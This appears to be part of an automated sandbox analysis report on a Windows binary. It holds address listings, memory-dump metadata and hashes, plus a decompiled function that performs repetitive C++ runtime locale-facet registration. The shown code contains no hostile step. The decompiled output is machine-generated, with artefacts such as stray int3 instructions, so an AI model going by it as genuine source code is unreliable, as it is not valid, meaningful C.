0x0048c53e
0x0048c54a
0x0048c4f8
0x0048c4f8
0x0048c4fa
0x0048c500
0x0048c506
0x0048c50e
0x0048c511
0x0048c54b
0x0048c550
0x0048c551
0x0048c558
0x0048c562
0x0048c567
0x0048c572
0x0048c576
0x0048c587
0x0048c589
0x0048c58b
0x0048c5d0
0x0048c5d3
0x0048c5df
0x0048c58d
0x0048c58d
0x0048c58f
0x0048c595
0x0048c59b
0x0048c5a3
0x0048c5a6
0x0048c5e0
0x0048c5e5
0x0048c5e6
0x0048c5ed
0x0048c5f7
0x0048c5fc
0x0048c607
0x0048c60b
0x0048c61c
0x0048c61e
0x0048c620
0x0048c665
0x0048c668
0x0048c674
0x0048c622
0x0048c622
0x0048c624
0x0048c62a
0x0048c630
0x0048c638
0x0048c63b
0x0048c675
0x0048c67a
0x0048c67b
0x0048c682
0x0048c68c
0x0048c691
0x0048c69c
0x0048c6a0
0x0048c6b1
0x0048c6b3
0x0048c6b5
0x0048c6fa
0x0048c6fd
0x0048c709
0x0048c6b7
0x0048c6b7
0x0048c6b9
0x0048c6bf
0x0048c6c5
0x0048c6cd
0x0048c6d0
0x0048c70a
0x0048c70f
0x0048c710
0x0048c717
0x0048c721
0x0048c726
0x0048c731
0x0048c735
0x0048c746
0x0048c748
0x0048c74a
0x0048c78f
0x0048c792
0x0048c79e
0x0048c74c
0x0048c74c
0x0048c74e
0x0048c754
0x0048c75a
0x0048c762
0x0048c765
0x0048c79f
0x0048c7a4
0x0048c7a5
0x0048c7ac
0x0048c7b6
0x0048c7bb
0x0048c7c6
0x0048c7ca
0x0048c7db
0x0048c7dd
0x0048c7df
0x0048c824
0x0048c827
0x0048c833
0x0048c7e1
0x0048c7e1
0x0048c7e3
0x0048c7e9
0x0048c7ef
0x0048c7f7
0x0048c7fa
0x0048c834
0x0048c839
0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c870
0x0048c872
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e
0x0048c6d2
0x0048c6d2
0x0048c6d5
0x0048c6d9
0x0048c6dd
0x0048c6ea
0x0048c6f2
0x0048c6f4
0x00000000
0x0048c6f4
0x0048c6bb
0x0048c6bb
0x00000000
0x0048c6bb
0x0048c6b9
0x0048c63d
0x0048c63d
0x0048c640
0x0048c644
0x0048c648
0x0048c655
0x0048c65d
0x0048c65f
0x00000000
0x0048c65f
0x0048c626
0x0048c626
0x00000000
0x0048c626
0x0048c624
0x0048c5a8
0x0048c5a8
0x0048c5ab
0x0048c5af
0x0048c5b3
0x0048c5c0
0x0048c5c8
0x0048c5ca
0x00000000
0x0048c5ca
0x0048c591
0x0048c591
0x00000000
0x0048c591
0x0048c58f
0x0048c513
0x0048c513
0x0048c516
0x0048c51a
0x0048c51e
0x0048c52b
0x0048c533
0x0048c535
0x00000000
0x0048c535
0x0048c4fc
0x0048c4fc
0x00000000
0x0048c4fc
0x0048c4fa
0x0048c47e
0x0048c47e
0x0048c481
0x0048c485
0x0048c489
0x0048c496
0x0048c49e
0x0048c4a0
0x00000000
0x0048c4a0
0x0048c467
0x0048c467
0x00000000
0x0048c467
0x0048c465
0x0048c3e9
0x0048c3e9
0x0048c3ec
0x0048c3f0
0x0048c3f4
0x0048c401
0x0048c409
0x0048c40b
0x00000000
0x0048c40b
0x0048c3d2
0x0048c3d2
0x00000000
0x0048c3d2
0x0048c3d0

APIs

__EH_prolog3.LIBCMT ref: 0048C399
std::_Lockit::_Lockit.LIBCPMT ref: 0048C3A3

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

collate.LIBCPMT ref: 0048C3DD
std::_Facet_Register.LIBCPMT ref: 0048C3F4
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C414
Concurrency::cancel_current_task.LIBCPMT ref: 0048C421

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registercollate
String ID:
API String ID: 573010341-0
Opcode ID: 78c74b463a8d9d377448b36629b9684b765f7e652d2abdbdec0817c85c5587c9
Instruction ID: 00870072261c423a6edadfb462aac9a5278ee703ea957f486b9ff1465d2d4d7e
Opcode Fuzzy Hash: 78c74b463a8d9d377448b36629b9684b765f7e652d2abdbdec0817c85c5587c9
Instruction Fuzzy Hash: 8A01C035D001298BCB05FBA5D8A5ABE7771AF84714F14485FE812AB382CF7C9E018B99

Uniqueness

Uniqueness Score: -1.00%

Function 0048C427, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C427(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v248;
				signed int _t261;
				void* _t486;
				short* _t700;
				void* _t764;
				signed int _t766;
				signed int _t767;
				signed int _t768;
				signed int _t769;
				signed int _t770;
				signed int _t771;
				signed int _t772;
				signed int _t773;
				signed int _t774;
				signed int _t775;
				signed int _t776;
				signed int _t777;
				signed int _t778;
				signed int _t779;
				signed int _t780;
				signed int _t781;
				signed int _t782;
				signed int _t783;
				signed int _t784;
				signed int _t785;
				void* _t786;
				signed int _t787;
				signed int _t788;
				signed int _t789;
				signed int _t790;
				signed int _t791;
				signed int _t792;
				signed int _t793;
				signed int _t794;
				signed int _t795;
				signed int _t796;
				signed int _t797;
				signed int _t798;
				signed int _t799;
				signed int _t800;
				signed int _t801;
				signed int _t802;
				signed int _t803;
				signed int _t804;
				signed int _t805;
				signed int _t806;
				signed int _t807;
				short* _t808;
				void* _t834;
				void* _t835;

				_push(8);
				L0049D90B(0x4d6966, _t764, _t786);
				L00488DEA( &_v20, 0);
				_t787 =  *0x4eddfc; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t787;
				_t261 = E0042B315(_a8, E0042B22E(0x4ed910, _t764, _t787, _t835));
				_t765 = _t261;
				if(_t261 != 0) {
					L5:
					L00488E42( &_v20);
					return L0049D8D4(_t765);
				} else {
					if(_t787 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = L0048DF75(_t765, _t787, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							L0049D90B(0x4d6966, _t765, _t787);
							L00488DEA( &_v20, 0);
							_t788 =  *0x4ede10; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t788;
							_t766 = E0042B315(_a8, E0042B22E(0x4eddb4, _t765, _t788, __eflags));
							__eflags = _t766;
							if(_t766 != 0) {
								L12:
								L00488E42( &_v20);
								return L0049D8D4(_t766);
							} else {
								__eflags = _t788;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = L0048DFE5(_t766, _t788, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										L0049D90B(0x4d6966, _t766, _t788);
										L00488DEA( &_v20, 0);
										_t789 =  *0x4edde0; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t789;
										_t767 = E0042B315(_a8, E0042B22E(0x4edd8c, _t766, _t789, __eflags));
										__eflags = _t767;
										if(_t767 != 0) {
											L19:
											L00488E42( &_v20);
											return L0049D8D4(_t767);
										} else {
											__eflags = _t789;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E04D(_t767, _t789, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													L0049D90B(0x4d6966, _t767, _t789);
													L00488DEA( &_v20, 0);
													_t790 =  *0x4ede14; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t790;
													_t768 = E0042B315(_a8, E0042B22E(0x4eddb8, _t767, _t790, __eflags));
													__eflags = _t768;
													if(_t768 != 0) {
														L26:
														L00488E42( &_v20);
														return L0049D8D4(_t768);
													} else {
														__eflags = _t790;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E0B5(_t768, _t790, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																L0049D90B(0x4d6966, _t768, _t790);
																L00488DEA( &_v20, 0);
																_t791 =  *0x4edde4; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t791;
																_t769 = E0042B315(_a8, E0042B22E(0x4edd90, _t768, _t791, __eflags));
																__eflags = _t769;
																if(_t769 != 0) {
																	L33:
																	L00488E42( &_v20);
																	return L0049D8D4(_t769);
																} else {
																	__eflags = _t791;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E11D(_t769, _t791, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			L0049D90B(0x4d6966, _t769, _t791);
																			L00488DEA( &_v20, 0);
																			_t792 =  *0x4ede18; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t792;
																			_t770 = E0042B315(_a8, E0042B22E(0x4eddbc, _t769, _t792, __eflags));
																			__eflags = _t770;
																			if(_t770 != 0) {
																				L40:
																				L00488E42( &_v20);
																				return L0049D8D4(_t770);
																			} else {
																				__eflags = _t792;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E185(_t770, _t792, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						L0049D90B(0x4d6966, _t770, _t792);
																						L00488DEA( &_v20, 0);
																						_t793 =  *0x4edde8; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t793;
																						_t771 = E0042B315(_a8, E0042B22E(0x4edd94, _t770, _t793, __eflags));
																						__eflags = _t771;
																						if(_t771 != 0) {
																							L47:
																							L00488E42( &_v20);
																							return L0049D8D4(_t771);
																						} else {
																							__eflags = _t793;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E1ED(_t771, _t793, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									L0049D90B(0x4d6966, _t771, _t793);
																									L00488DEA( &_v20, 0);
																									_t794 =  *0x4ede20;
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t794;
																									_t772 = E0042B315(_a8, E0042B22E(0x4eddc4, _t771, _t794, __eflags));
																									__eflags = _t772;
																									if(_t772 != 0) {
																										L54:
																										L00488E42( &_v20);
																										return L0049D8D4(_t772);
																									} else {
																										__eflags = _t794;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E255(_t772, _t794, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												L0049D90B(0x4d6966, _t772, _t794);
																												L00488DEA( &_v20, 0);
																												_t795 =  *0x4ede1c;
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t795;
																												_t773 = E0042B315(_a8, E0042B22E(0x4eddc0, _t772, _t795, __eflags));
																												__eflags = _t773;
																												if(_t773 != 0) {
																													L61:
																													L00488E42( &_v20);
																													return L0049D8D4(_t773);
																												} else {
																													__eflags = _t795;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E2D9(_t773, _t795, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															L0049D90B(0x4d6966, _t773, _t795);
																															L00488DEA( &_v20, 0);
																															_t796 =  *0x4eddf0;
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t796;
																															_t774 = E0042B315(_a8, E0042B22E(0x4edd9c, _t773, _t796, __eflags));
																															__eflags = _t774;
																															if(_t774 != 0) {
																																L68:
																																L00488E42( &_v20);
																																return L0049D8D4(_t774);
																															} else {
																																__eflags = _t796;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E35E(_t774, _t796, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		L0049D90B(0x4d6966, _t774, _t796);
																																		L00488DEA( &_v20, 0);
																																		_t797 =  *0x4eddec;
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t797;
																																		_t775 = E0042B315(_a8, E0042B22E(0x4edd98, _t774, _t797, __eflags));
																																		__eflags = _t775;
																																		if(_t775 != 0) {
																																			L75:
																																			L00488E42( &_v20);
																																			return L0049D8D4(_t775);
																																		} else {
																																			__eflags = _t797;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E3E2(_t775, _t797, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					L0049D90B(0x4d6966, _t775, _t797);
																																					L00488DEA( &_v20, 0);
																																					_t798 =  *0x4ede00;
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t798;
																																					_t776 = E0042B315(_a8, E0042B22E(0x4edda4, _t775, _t798, __eflags));
																																					__eflags = _t776;
																																					if(_t776 != 0) {
																																						L82:
																																						L00488E42( &_v20);
																																						return L0049D8D4(_t776);
																																					} else {
																																						__eflags = _t798;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E467(_t776, _t798, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								L0049D90B(0x4d6966, _t776, _t798);
																																								L00488DEA( &_v20, 0);
																																								_t799 =  *0x4eddd0;
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t799;
																																								_t777 = E0042B315(_a8, E0042B22E(0x4edd7c, _t776, _t799, __eflags));
																																								__eflags = _t777;
																																								if(_t777 != 0) {
																																									L89:
																																									L00488E42( &_v20);
																																									return L0049D8D4(_t777);
																																								} else {
																																									__eflags = _t799;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E4CF(_t777, _t799, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											L0049D90B(0x4d6966, _t777, _t799);
																																											L00488DEA( &_v20, 0);
																																											_t800 =  *0x4ede04;
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t800;
																																											_t778 = E0042B315(_a8, E0042B22E(0x4edda8, _t777, _t800, __eflags));
																																											__eflags = _t778;
																																											if(_t778 != 0) {
																																												L96:
																																												L00488E42( &_v20);
																																												return L0049D8D4(_t778);
																																											} else {
																																												__eflags = _t800;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E0048E537(_t778, _t800, __eflags) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(8);
																																														L0049D90B(0x4d6966, _t778, _t800);
																																														L00488DEA( &_v20, 0);
																																														_t801 =  *0x4eddd4;
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t801;
																																														_t779 = E0042B315(_a8, E0042B22E(0x4edd80, _t778, _t801, __eflags));
																																														__eflags = _t779;
																																														if(_t779 != 0) {
																																															L103:
																																															L00488E42( &_v20);
																																															return L0049D8D4(_t779);
																																														} else {
																																															__eflags = _t801;
																																															if(__eflags == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																__eflags = E0048E59F(_t779, _t801, __eflags) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E0042B042(__eflags);
																																																	asm("int3");
																																																	_push(8);
																																																	L0049D90B(0x4d6966, _t779, _t801);
																																																	L00488DEA( &_v20, 0);
																																																	_t802 =  *0x4ede08;
																																																	_v4 = _v4 & 0x00000000;
																																																	_v16 = _t802;
																																																	_t780 = E0042B315(_a8, E0042B22E(0x4eddac, _t779, _t802, __eflags));
																																																	__eflags = _t780;
																																																	if(_t780 != 0) {
																																																		L110:
																																																		L00488E42( &_v20);
																																																		return L0049D8D4(_t780);
																																																	} else {
																																																		__eflags = _t802;
																																																		if(__eflags == 0) {
																																																			_push(_a8);
																																																			_push( &_v16);
																																																			__eflags = E0048E607(_t780, _t802, __eflags) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E0042B042(__eflags);
																																																				asm("int3");
																																																				_push(8);
																																																				L0049D90B(0x4d6966, _t780, _t802);
																																																				L00488DEA( &_v20, 0);
																																																				_t803 =  *0x4eddd8;
																																																				_v4 = _v4 & 0x00000000;
																																																				_v16 = _t803;
																																																				_t781 = E0042B315(_a8, E0042B22E(0x4edd84, _t780, _t803, __eflags));
																																																				__eflags = _t781;
																																																				if(_t781 != 0) {
																																																					L117:
																																																					L00488E42( &_v20);
																																																					return L0049D8D4(_t781);
																																																				} else {
																																																					__eflags = _t803;
																																																					if(__eflags == 0) {
																																																						_push(_a8);
																																																						_push( &_v16);
																																																						__eflags = E0048E682(_t781, _t803, __eflags) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E0042B042(__eflags);
																																																							asm("int3");
																																																							_push(8);
																																																							L0049D90B(0x4d6966, _t781, _t803);
																																																							L00488DEA( &_v20, 0);
																																																							_t804 =  *0x4ede24;
																																																							_v4 = _v4 & 0x00000000;
																																																							_v16 = _t804;
																																																							_t782 = E0042B315(_a8, E0042B22E(0x4eddc8, _t781, _t804, __eflags));
																																																							__eflags = _t782;
																																																							if(_t782 != 0) {
																																																								L124:
																																																								L00488E42( &_v20);
																																																								return L0049D8D4(_t782);
																																																							} else {
																																																								__eflags = _t804;
																																																								if(__eflags == 0) {
																																																									_push(_a8);
																																																									_push( &_v16);
																																																									__eflags = E0048E6FD(_t782, _t804, __eflags) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										E0042B042(__eflags);
																																																										asm("int3");
																																																										_push(8);
																																																										L0049D90B(0x4d6966, _t782, _t804);
																																																										L00488DEA( &_v20, 0);
																																																										_t805 =  *0x4eddf4;
																																																										_v4 = _v4 & 0x00000000;
																																																										_v16 = _t805;
																																																										_t783 = E0042B315(_a8, E0042B22E(0x4edda0, _t782, _t805, __eflags));
																																																										__eflags = _t783;
																																																										if(_t783 != 0) {
																																																											L131:
																																																											L00488E42( &_v20);
																																																											return L0049D8D4(_t783);
																																																										} else {
																																																											__eflags = _t805;
																																																											if(__eflags == 0) {
																																																												_push(_a8);
																																																												_push( &_v16);
																																																												__eflags = E0048E769(_t783, _t805, __eflags) - 0xffffffff;
																																																												if(__eflags == 0) {
																																																													E0042B042(__eflags);
																																																													asm("int3");
																																																													_push(8);
																																																													L0049D90B(0x4d6966, _t783, _t805);
																																																													L00488DEA( &_v20, 0);
																																																													_t806 =  *0x4ede28;
																																																													_v4 = _v4 & 0x00000000;
																																																													_v16 = _t806;
																																																													_t784 = E0042B315(_a8, E0042B22E(0x4eddcc, _t783, _t806, __eflags));
																																																													__eflags = _t784;
																																																													if(_t784 != 0) {
																																																														L138:
																																																														L00488E42( &_v20);
																																																														return L0049D8D4(_t784);
																																																													} else {
																																																														__eflags = _t806;
																																																														if(__eflags == 0) {
																																																															_push(_a8);
																																																															_push( &_v16);
																																																															__eflags = E0048E7D5(_t784, _t806, __eflags) - 0xffffffff;
																																																															if(__eflags == 0) {
																																																																E0042B042(__eflags);
																																																																asm("int3");
																																																																_push(8);
																																																																L0049D90B(0x4d6966, _t784, _t806);
																																																																L00488DEA( &_v20, 0);
																																																																_t807 =  *0x4eddf8;
																																																																_v4 = _v4 & 0x00000000;
																																																																_v16 = _t807;
																																																																_t785 = E0042B315(_a8, E0042B22E(0x4edd78, _t784, _t807, __eflags));
																																																																__eflags = _t785;
																																																																if(_t785 != 0) {
																																																																	L145:
																																																																	L00488E42( &_v20);
																																																																	return L0049D8D4(_t785);
																																																																} else {
																																																																	__eflags = _t807;
																																																																	if(__eflags == 0) {
																																																																		_push(_a8);
																																																																		_push( &_v16);
																																																																		_t486 = E0048E849(_t785, _t807, __eflags);
																																																																		_pop(_t700);
																																																																		__eflags = _t486 - 0xffffffff;
																																																																		if(__eflags == 0) {
																																																																			E0042B042(__eflags);
																																																																			asm("int3");
																																																																			_push(_t807);
																																																																			_t808 = _t700;
																																																																			_t254 = _t808 + 0x10;
																																																																			 *_t254 =  *(_t808 + 0x10) & 0x00000000;
																																																																			__eflags =  *_t254;
																																																																			 *((intOrPtr*)(_t808 + 0x14)) = 7;
																																																																			 *_t808 = 0;
																																																																			L00494BE0( *((intOrPtr*)(_t834 + 8)));
																																																																			return _t808;
																																																																		} else {
																																																																			_t785 = _v16;
																																																																			_v16 = _t785;
																																																																			_v4 = 1;
																																																																			E0048919D(_t785);
																																																																			 *0x4f02b4();
																																																																			 *((intOrPtr*)( *((intOrPtr*)( *_t785 + 4))))();
																																																																			 *0x4eddf8 = _t785;
																																																																			goto L145;
